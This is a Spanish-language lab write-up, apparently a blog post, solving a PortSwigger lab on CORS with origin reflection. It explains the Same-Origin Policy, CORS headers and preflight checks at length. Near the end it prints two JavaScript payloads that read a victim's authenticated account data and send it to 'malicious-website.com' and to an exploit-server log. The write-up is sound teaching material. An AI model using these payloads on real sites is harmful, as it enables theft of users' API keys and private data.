Entrada

CORS Lab 1

CORS Lab 1

Skills

  • CORS vulnerability with basic origin reflection

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este sitio web tiene una configuración insegura de Cross-Origin Resource Sharing (CORS), ya que confía en todos los orígenes. Para resolver el laboratorio, debemos crear un script de JavaScript que utilice Cross-Origin Resource Sharing (CORS) para obtener la clave API del administrador y subir el script a nuestro servidor de explotación. El laboratorio se considerará resuelto cuando enviemos con éxito la clave API del administrador. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter


Resolución

Al acceder a la web vemos esto

Hacemos click sobre My account y nos logueamos con las credenciales wiener:peter

Vemos que podemos cambiar nuestro email y una clave API

La Same-Origin Policy (SOP) es un mecanismo de seguridad del navegador web que tiene como objetivo prevenir ataques entre sitios web, esto lo hace impidiendo que un script de una página web acceda a datos de otra página web si no tienen el mismo origen. El origen está compuesto por un esquema URI (http://,https://,ftp://), un dominio (eneba.com) y un número de puerto (:80). Por ejemplo, la siguiente URL http://normal-website.com/example/example.html

URL¿Acceso permitido?
http://normal-website.com/example/Sí (mismo esquema URI, dominio y puerto)
http://normal-website.com/example2/Sí (mismo esquema URI, dominio y puerto)
https://normal-website.com/example/No (esquema URI y puerto diferentes)
http://en.normal-website.com/example/No (dominio diferente)
http://www.normal-website.com/example/No (dominio diferente)
http://normal-website.com:8080/example/No (puerto diferente)

En el caso de Internet Explorer permite el acceso a http://normal-website.com:8080/example/ porque no tiene en cuenta el número de puerto al aplicar la política SOP

Cuando un navegador envía una solicitud HTTP desde un origen a otro, todas las cookies, incluyendo las de sesión asociadas al dominio destino también se envían como parte de la solicitud. Esto significa que la respuesta se generará dentro de la sesión del usuario e incluirá cualquier dato privado asociado a su cuenta. Sin la SOP, si visitamos un sitio malicioso, este podría leer nuestros correos de Gmail, mensajes privados de Facebook, etc

La SOP generalmente controla el acceso que tiene el código JavaScript a contenido cargado desde otro dominio pero la carga de recursos cross-origin está permitida. Por ejemplo, la SOP permite incrustar imágenes mediante la etiqueta <img>, medios con la etiqueta <video> y JavaScript mediante la etiqueta <script>, sin embargo, aunque estos recursos externos pueden ser cargados por la página, cualquier código JavaScript en la página no podrá leer el contenido de estos recursos

Existen varias excepciones a la SOP

  • Algunos objetos son modificables pero no legibles entre dominios, como el objeto location o la propiedad location.href en iframes o ventanas nuevas

  • Algunos objetos son legibles pero no modificables entre dominios, como la propiedad closed y la propiedad length del objeto window (que almacena el número de frames en la página)

  • La función replace generalmente puede ser llamada entre dominios en el objeto location

  • Se pueden llamar a ciertas funciones entre dominios. Por ejemplo, podemos invocar las funciones close, blur y focus en una ventana nueva. La función postMessage también puede ser usada en iframes y ventanas nuevas para enviar mensajes de un dominio a otro

Debido a requisitos heredados, la SOP es más permisiva con las cookies, por lo que suelen ser accesibles desde todos los subdominios de un sitio web, aunque cada subdominio sea técnicamente un origen diferente. Podemos mitigar parcialmente este riesgo usando el atributo HttpOnly en las cookies

Es posible relajar la SOP usando document.domain, esta propiedad especial permite flexibilizar la SOP para un dominio específico, pero solo si forma parte de tu Fully Qualified Domain Name (FQDN). Por ejemplo, podrías tener el dominio marketing.ejemplo.com y querer leer su contenido desde ejemplo.com, para hacerlo, ambos dominios deben configurar document.domain como ejemplo.com. Así, la SOP permitirá el acceso entre los dos dominios pese a tener orígenes diferentes

En el pasado, era posible asignar document.domain a un Top-Level Domain (TLD) (como .com), lo que permitía acceso entre cualquier dominio bajo el mismo Top-Level Domain (TLD), pero los navegadores modernos ya lo impiden

El Cross-Origin Resource Sharing (CORS) es un mecanismo del navegador que permite el acceso controlado a recursos ubicados fuera de un dominio determinado. Amplía y flexibiliza la SOP. Sin embargo, también puede generar ataques entre dominios si la política de CORS de un sitio web está mal configurada o mal implementada. El CORS no protegerá contra ataques cross-origin, como el CSRF

La SOP es muy restrictiva pero se han ideado varios métodos para eludir sus restricciones. Muchos sitios web interactúan con subdominios o sitios web de terceros, por lo que se requiere acceso sin restricciones entre dominios. Una relajación controlada de la SOP es posible mediante el uso de CORS

El protocolo CORS emplea un grupo de cabeceras HTTP que especifican qué dominios y propiedades asociadas están autorizados, incluyendo si se permite acceso con credenciales. Las cabeceras HTTP se combinan en un intercambio de cabeceras entre el navegador y el sitio externo que se quiere consultar

La cabecera Access-Control-Allow-Origin se incluye en la respuesta de un sitio web a una solicitud proveniente de otro sitio web, e indica qué origen tiene permiso para acceder al recurso solicitado

El navegador compara el valor de Access-Control-Allow-Origin con el origen del sitio web que realizó la petición. Si coinciden, permite el acceso a la respuesta, de lo contrario, lo bloquea por restricciones de seguridad

La especificación CORS establece las cabeceras HTTP que se intercambian entre servidores web y navegadores para controlar las solicitudes de recursos provenientes de dominios distintos al origen. Entre las cabeceras definidas por CORS, Access-Control-Allow-Origin es la más importante

Esta cabecera es enviada por el servidor como respuesta cuando recibe una solicitud entre dominios, la cual incluye automáticamente la cabecera Origin agregada por el navegador

Por ejemplo, supongamos que un sitio web cuyo origen es normal-website.com realiza la siguiente solicitud entre dominios

1
2
3
GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com

El servidor en robust-website.com responde así

1
2
3
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com

El navegador permitirá que el código ejecutado en normal-website.com acceda a la respuesta porque los orígenes coinciden. La especificación Access-Control-Allow-Origin permite múltiples orígenes, el valor null o la wildcard *. Sin embargo, ningún navegador admite múltiples orígenes y existen restricciones en el uso de las wildcards *

El comportamiento predeterminado de las solicitudes de recursos cross-origin es que se envíen sin credenciales (como cookies o cabeceras de Autorización). No obstante, el servidor remoto puede autorizar el acceso a la respuesta cuando se incluyen credenciales configurando la cabecera Access-Control-Allow-Credentials: true

Si el sitio solicitante utiliza JavaScript, puede indicar que envía cookies con la petición

1
2
3
4
5
GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

La respuesta a esta solicitud es la siguiente. En este caso, el navegador permitirá que el sitio web solicitante lea la respuesta, siempre que la cabecera Access-Control-Allow-Credentials esté configurada como true. De lo contrario, el navegador bloqueará el acceso a la respuesta

1
2
3
4
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

La cabecera Access-Control-Allow-Origin soporta wildcards

1
Access-Control-Allow-Origin: *

Debemos tener en cuenta que las wildcards no se pueden usar dentro de otro valor, por ejemplo, esta cabecera no sería válida

1
Access-Control-Allow-Origin: https://*.normal-website.com

Afortunadamente, desde el punto de vista de la seguridad, el uso de wildcards está restringido, es decir, no se puede usar una wilcard junto con una transferencia de credenciales (autenticación, cookies o certificados del lado del cliente) cross-origin ya que esto sería peligrosamente inseguro, exponiendo cualquier contenido autenticado en el sitio objetivo a todos

Dadas estas restricciones, algunos servidores web crean dinámicamente las cabeceras Access-Control-Allow-Origin basándose en el origen especificado por el cliente. En consecuencia, la respuesta a una solicitud entre dominios luce de esta forma

1
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true

El pre-flight check (verificación previa) se añadió a CORS para proteger a los recursos legacy de las opciones de solicitud ampliadas permitidas por CORS. En ciertas circunstancias, cuando una solicitud entre dominios incluye un método HTTP no estándar o cabeceras personalizadas, la solicitud cross-origin va precedida de una petición que utiliza el método OPTIONS. El protocolo CORS exige esta verificación inicial para determinar qué métodos y cabeceras están permitidos antes de autorizar la solicitud entre dominios. A esto se le denomina pre-flight check

El servidor responde con una lista de métodos permitidos, además del origen autorizado, y el navegador verifica si el método utilizado por el sitio solicitante está incluido en dicha lista

Por ejemplo, esta es una solicitud de preflight que busca utilizar el método PUT junto con una cabecera personalizada llamada Special-Request-Header

1
2
3
4
5
6
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

El servidor podría devolver una respuesta como la siguiente

1
2
3
4
5
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Esta respuesta establece los métodos permitidos (PUT, POST y OPTIONS) y las cabeceras de solicitud permitidos (Special-Request-Header). En este caso particular, el servidor cross-domain, es decir, el servidor que acepta solicitudes provenientes de dominios diferentes al suyo, también permite el envío de credenciales y la cabecera Access-Control-Max-Age define un tiempo máximo para almacenar en caché la respuesta pre-flight para reutilizarla. Si los métodos y las cabeceras de solicitud están permitidos (como en este ejemplo), el navegador procesa la solicitud cross-origin de la manera habitual. Las verificaciones preflight agregan un round-trip (RTT) adicional de solicitud HTTP a la petición cross-domain, lo que aumenta la sobrecarga (overhead) de navegación

CORS no proporciona protección contra ataques de CSRF. Como CORS es una relajación controlada de la SOP, una configuración deficiente de CORS puede aumentar la posibilidad de ataques CSRF o agravar su impacto. Existen varias formas de realizar ataques CSRF sin usar CORS, por ejemplo, incluyendo formularios HTML o incluyendo recursos cross-domain

Muchos sitios web modernos utilizan CORS para permitir el acceso desde subdominios y sitios web de terceros. Sin embargo, su implementación de CORS puede contener errores o ser demasiado permisiva para garantizar que todo funcione, lo que puede resultar en vulnerabilidades explotables

En este laboratorio vamos a explotar una web en la que la cabecera ACAO (Access-Control-Allow-Credentials) generada por el servidor se basa en la cabecera Origin especificada por el cliente. Algunas aplicaciones necesitan proporcionar acceso a múltiples dominios. Mantener una lista de dominios permitidos requiere esfuerzo continuo, y cualquier error podría interrumpir la funcionalidad. Por ello, algunas aplicaciones permiten acceso desde cualquier dominio

Un método para implementar esto consiste en leer la cabecera Origin de las solicitudes e incluir en la respuesta una cabecera que indique que el origen solicitante está permitido. Por ejemplo, consideremos una aplicación que recibe la siguiente solicitud

1
2
3
4
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Y posteriormente, responde así

1
2
3
4
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

Estas cabeceras indican que se permite el acceso desde el dominio solicitante (malicious-website.com) y que las solicitudes cross-origin pueden incluir cookies (Access-Control-Allow-Credentials: true), por lo que se procesarán dentro de la sesión del usuario

Dado que la aplicación refleja orígenes arbitrarios en la cabecera Access-Control-Allow-Origin, esto significa que absolutamente cualquier dominio puede acceder a los recursos del dominio vulnerable. Si la respuesta contiene información sensible como una clave API o un token CSRF, podríamos obtener estos datos utilizando el siguiente script en nuestro sitio web

1
2
3
4
5
6
7
8
9
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get', 'https://vulnerable-website.com/sensitive-victim-data', true);
req.withCredentials = true;
req.send();

function reqListener() {
    location = '//malicious-website.com/log?key=' + this.responseText;
};

Cuando accedemos /my-account después de iniciar sesión vemos que se manda una petición a /accountDetails y recibimos una respuesta con los datos de nuestro usuario. Lo destacable de esto es que el servidor nos responde con la cabecera Access-Control-Allow-Credentials: true

Si mandamos esta petición al Repeater e inyectamos la cabecera Origin: https://vulnerable.com se ve reflejada en la respuesta

Que el servidor responda con la cabecera Access-Control-Allow-Credentials: true no lo hace vulnerable. Lo que lo hace vulnerable es la combinación de esa cabecera con Access-Control-Allow-Origin: * o, como en este caso, que no valide la cabecera y nos deje proporcionar a nosotros una Access-Control-Allow-Origin: https://vulnerable.com. Cuando se cumplen estos requisitos, podemos aprovechar estas políticas de CORS inseguras para obtener datos de otros usuarios. Para ello, nos dirigimos al Exploit server y construimos este payload

1
2
3
4
5
6
7
8
9
10
11
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get', 'https://0a4c0053031c0975805453b000ba00f4.web-security-academy.net/accountDetails', true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location = 'https://exploit-0a6200f003d609a280ef523c01720026.exploit-server.net/log?key=' + this.responseText;
    };
</script>

Pulsamos sobre View exploit, nos dirigimos a Access log y vemos cómo se ha hecho una petición a nuestro exploit y posteriormente se envían los datos del usuario víctima a nuestro servidor

Una vez que hemos comprobado que funciona pulsamos sobre Deliver exploit to victim, nos dirigimos al Access log y vemos que recibimos información del usuario víctima en formato URL encoded

Nos dirigimos al Decoder, pegamos la información obtenida y la URL decodeamos

Nos copiamos al apiKey, pulsamos en Submit solution y la pegamos

Esta entrada está licenciada bajo CC BY 4.0 por el autor.